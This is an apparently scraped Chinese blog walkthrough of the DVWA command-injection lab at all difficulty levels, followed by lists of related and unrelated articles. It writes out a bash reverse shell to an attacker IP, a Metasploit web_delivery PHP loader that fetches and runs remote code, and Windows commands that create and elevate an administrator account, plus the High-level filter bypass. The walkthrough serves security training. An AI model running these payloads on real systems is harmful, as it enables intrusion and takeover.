Command Injection(命令注入)

逻辑运算符“&”和“|”的意思

&&:代表首先执行命令a在执行命令b,但是前提条件是命令a执行正确才会执行命令b,在a执行失败的情况下不会执行b命令。所以又被称为短路运算符。

&:代表首先执行命令a在执行命令b,如果a执行失败,还是会继续执行命令b。也就是说命令b的执行不会受到命令a的干扰,在执行效率上来说“&&”更加高效。

||:代表首先执行a命令在执行b命令,如果a命令执行成功,就不会执行b命令,相反,如果a命令执行不成功,就会执行b命令。

|:代表首先执行a命令,在执行b命令,不管a命令成功与否,都会去执行b命令。

命令注入即通过在原本输入框中拼接系统命令的方式,在服务器上执行对应的指令。

在存在执行系统命令的函数,如php中的system、exec、shell_exec等,用户可以传入命令的参数的时候,将恶意的命令拼接其中,就可以造成命令注入攻击。

1. Low

没有做过滤,由于靶机是Linux,所以拼接逻辑运算符 | 可以执行Linux命令

例如:

利用

1.nc反弹shell

进入kali,在命令行输入nc -lvp 1234监听本地1234端口

在DVWA上输入

127.0.0.1 | bash -i >& /dev/tcp/192.168.171.20/1234 0>&1

bash反弹:首先攻击机监听指定端口,然后靶机执行bash命令向靶机指定端口发送连接请求

bash -i意为创建一个交互式的bash shell

&>意为将标准输出和标准错误都重定向到我们指定的文件中

其中192.168.171.20为 攻击机kali

返回kali发现反弹shell成功

2.msf上马

Kali输入msfconsole进入msf平台

输入如下命令

use  exploit/multi/script/web_delivery		//加载Webshell模块
set target PHP //选择PHP做WebShell
set payload php/meterpreter/reverse_tcp //设置后门代码为php/meterpreter/reverse_tcp
set lhost 192.168.171.20 //设置本地主机地址

然后输入run或者exploit运行

把显示的php命令复制

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.171.20:8080/bNGqlYgWB', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

然后msf已经连接靶机,建立了session

输入sessions 1连接靶机

输入shell进入命令行

2.Medium

做了基础过滤

&& 和 ; 被过滤成了空

还是可以用&、|、|| 等命令注入

其实过滤并没有啥用

操作和Low一样

3. High

本等级靶机ip为192.168.171.8

源码关键代码:

   $substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

通过源码可以看到过滤掉了 & ; | - $ ) ) ` ||

发现过滤的其实是| 即|加上空格,而单独的|没有被过滤,所以还可以进行命令注入

因为Linux环境暂时没有好的绕过思路,所以High等级的环境用windows系统测试

在dvwa输入如下语句127.0.0.1|net user test passwd /add

该语句的意思是建立一个用户名为test,密码为passwd的账号

然后输入如下语句127.0.0.1|net localgroup Administrators test /add

该语句的意思是将用户test加入到管理员组里,让他有管理员权限

然后打开远程桌面连接,输入ip地址和之前新建的的用户名和密码进入靶机系统



可以看到已经成功进入靶机的系统了。

4.Impossible

从逻辑上改了,将IP切割为四个部分,且都为数字。

加了token ,ip根据点做了切割,做了四个数,判断他们是否数字。如果不是就输出ERROR。

可以看到,本等级只允许非常严格的输入。 如果不匹配并且没有产生特定结果,则将不允许执行它。 相比于前面2个等级的“黑名单”过滤(允许任何输入并删除不需要的内容),使用“白名单”(仅允许输入ip地址)更加安全。

DVWA Command Injection(命令注入)全等级的更多相关文章

  1. Fortify Audit Workbench 笔记 Command Injection(命令注入)

    Command Injection(命令注入) Abstract 执行不可信赖资源中的命令,或在不可信赖的环境中执行命令,都会导致程序以攻击者的名义执行恶意命令. Explanation Comman ...

  2. DVWA靶场练习-Command Injection命令注入

    Command Injection 原理 攻击者通过构造恶意参数,破坏命令的语句结构,从而达到执行恶意命令的目的.

  3. command injection命令注入

    命令注入 是指程序中有调用系统命令的部分,例如输入ip,程序调用系统命令ping这个ip.如果在ip后面加一个&&.&.|.||命令拼接符号再跟上自己需要执行的系统命令 在pi ...

  4. 安全性测试入门:DVWA系列研究(二):Command Injection命令行注入攻击和防御

    本篇继续对于安全性测试话题,结合DVWA进行研习. Command Injection:命令注入攻击. 1. Command Injection命令注入 命令注入是通过在应用中执行宿主操作系统的命令, ...

  5. DVWA-对Command Injection(命令注入)的简单演示与分析

    前言 上一篇文章中,对命令注入进行了简单的分析,有兴趣的可以去看一看,文章地址 https://www.cnblogs.com/lxfweb/p/12828754.html,今天这篇文章以DVWA的C ...

  6. DVWA Command Injection 通关教程

    Command Injection 介绍 命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻 ...

  7. DVWA之Command injection(命令执行漏洞)

    目录 Low Medium Middle Impossible 命令执行漏洞的原理:在操作系统中, &  .&& .|  . ||   都可以作为命令连接符使用,用户通过浏览器 ...

  8. DVWA Command Injection 解析

    命令注入,即 Command Injection.是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的. 在Web应用中,有时候会用到一些命令执行的函数,如php中system.ex ...

  9. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  10. PHP代码审计之命令注入

    命令注入 命令注入就是通过利用无验证变量构造特殊语句对服务器进行渗透. 注入的种类有很多,而不仅仅是SQL Injection. php常见注入有以下几种(常见:,常见!!): 命令注入 (Comma ...

随机推荐

  1. MySQL系列之——MySQL介绍和安装、MySQL简介及产品线、安装方式(源码安装 rpm方式 yum方式 通用二进制安装)

    文章目录 一 MySQL介绍和安装 1.1 什么是数据? 1.2 什么是数据库管理系统(DBMS)? 1.3 数据库管理系统种类 二 MySQL简介及产品线 2.1 MySQL行业主流版本 2.2 企 ...

  2. OKR 是什么?

    OKR OKR 是什么? OKR(Objectives and Key Results)目标与关键结果管理法,起源于英特尔,后在谷歌发扬光大. OKR 是一套协助组织进行目标管理的工具和方法,旨在促进 ...

  3. 俄罗斯版IDM安装与破解以及解决B站视频网站不弹出下载浮窗

    IDM 全称 Internet Download Manager,是一款非常优秀的多线程下载和视频嗅探工具,不仅可以显著提高文件下载速度,配合IDM浏览器扩展插件,还可以嗅探并下载YouTube.知乎 ...

  4. 数字时代的自我呈现:探索个人形象打造的创新工具——FaceChain深度学习模型工具

    数字时代的自我呈现:探索个人形象打造的创新工具--FaceChain深度学习模型工具 1.介绍 FaceChain是一个可以用来打造个人数字形象的深度学习模型工具.用户仅需要提供最低一张照片即可获得独 ...

  5. 使用PasteSpider把你的代码升级到服务器的Docker/Podman上,K8S太庞大,PasteSpider极易上手!

    如果你的服务器的内存小于16GB,那么K8S就和你无缘了,但是你可以使用PasteSpider来实现发布你的项目到服务器上! PasteSpider是一个运维工具,使用NET编写的,部署于服务器的Do ...

  6. 业务出海、高效传输、动态加速,尽在云栖大会「CDN与边缘计算」专场

    2023杭州·云栖大会,即将热力来袭. 一场云计算盛会,500+前沿话题,3000+科技展品,与阿里云一起,共赴72小时的Tech沉浸之旅. 今日,「CDN与边缘计算」Tech专场,重磅议题抢先知晓! ...

  7. AT通讯总结(56K猫调制解调器Modem)型号I-56EM

    1.关闭流控RTS与DTR AT&D0&K0\r\n 2.保存到非易失性存储 AT&W\r\n 3.向800001音频拨号 ATDT800001\r\n 4.接听 ATA\r\ ...

  8. Spring @ConfigurationProperties Yaml语法配置List和Map:List<String>、List<Obj>、List<List<Obj>>、Map<String,String>、Map<String,List<String>>、Map<String,Obj>、Map<String,List<Obj>>

    yaml语法 数据结构可以用类似大纲的缩排方式呈现,结构通过缩进来表示,连续的项目通过减号"-"来表示,map结构里面的key/value对用冒号":"来分隔. ...

  9. ElectronReactAdmin跨平台管理系统|electron27+react18后台模板EXE

    基于electron27+react18+arco电脑端后台管理程序EXE实例ElectronRAdmin. electron27-react18-admin 基于跨平台技术Electron集成Vit ...

  10. Molecule 在构建工具中的选择

    我们是袋鼠云数栈 UED 团队,致力于打造优秀的一站式数据中台产品.我们始终保持工匠精神,探索前端道路,为社区积累并传播经验价值. 本文作者:修能 朝闻道,夕死可矣 何为 Molecule? 轻量级的 ...